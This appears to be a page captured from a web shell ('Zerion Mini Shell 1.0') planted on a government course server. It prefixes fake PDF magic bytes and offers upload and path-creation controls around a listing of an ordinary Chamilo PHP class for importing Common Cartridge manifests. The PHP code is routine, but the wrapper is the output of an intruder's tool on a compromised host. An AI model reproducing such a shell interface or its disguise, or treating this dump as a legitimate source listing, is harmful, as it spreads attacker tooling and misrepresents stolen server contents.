%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/main/common_cartridge/import/src/converter/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/main/common_cartridge/import/src/converter/Cc13Entities.php

<?php
/* For licensing terms, see /license.txt */

class Cc13Entities extends CcEntities
{
    public function getExternalXml($identifier)
    {
        $xpath = Cc1p3Convert::newxPath(Cc1p3Convert::$manifest, Cc1p3Convert::$namespaces);
        $files = $xpath->query('/imscc:manifest/imscc:resources/imscc:resource[@identifier="'.
                 $identifier.'"]/imscc:file/@href');
        $response = empty($files) || ($files->length == 0) ? '' : $files->item(0)->nodeValue;

        return $response;
    }

    protected function getAllFiles()
    {
        $permDirs = api_get_permissions_for_new_directories();

        $allFiles = [];
        $xpath = Cc1p3Convert::newxPath(Cc1p3Convert::$manifest, Cc1p3Convert::$namespaces);
        foreach (Cc1p3Convert::$restypes as $type) {
            $files = $xpath->query('/imscc:manifest/imscc:resources/imscc:resource[@type="'.
                                    $type.'"]/imscc:file/@href');
            if (empty($files) || ($files->length == 0)) {
                continue;
            }
            foreach ($files as $file) {
                //omit html files
                //this is a bit too simplistic
                $ext = strtolower(pathinfo($file->nodeValue, PATHINFO_EXTENSION));
                if (in_array($ext, ['html', 'htm', 'xhtml'])) {
                    continue;
                }
                $allFiles[] = $file->nodeValue;
            }
            unset($files);
        }

        //are there any labels?
        $xquery = "//imscc:item/imscc:item/imscc:item[imscc:title][not(@identifierref)]";
        $labels = $xpath->query($xquery);
        if (!empty($labels) && ($labels->length > 0)) {
            $tname = 'course_files';
            $dpath = Cc1p3Convert::$pathToManifestFolder.DIRECTORY_SEPARATOR.$tname;
            $rfpath = 'files.gif';
            $fpath = $dpath.DIRECTORY_SEPARATOR.'files.gif';
            if (!file_exists($dpath)) {
                mkdir($dpath, $permDirs, true);
            }
            $allFiles[] = $rfpath;
        }
        $allFiles = empty($allFiles) ? '' : $allFiles;

        return $allFiles;
    }
}

Zerion Mini Shell 1.0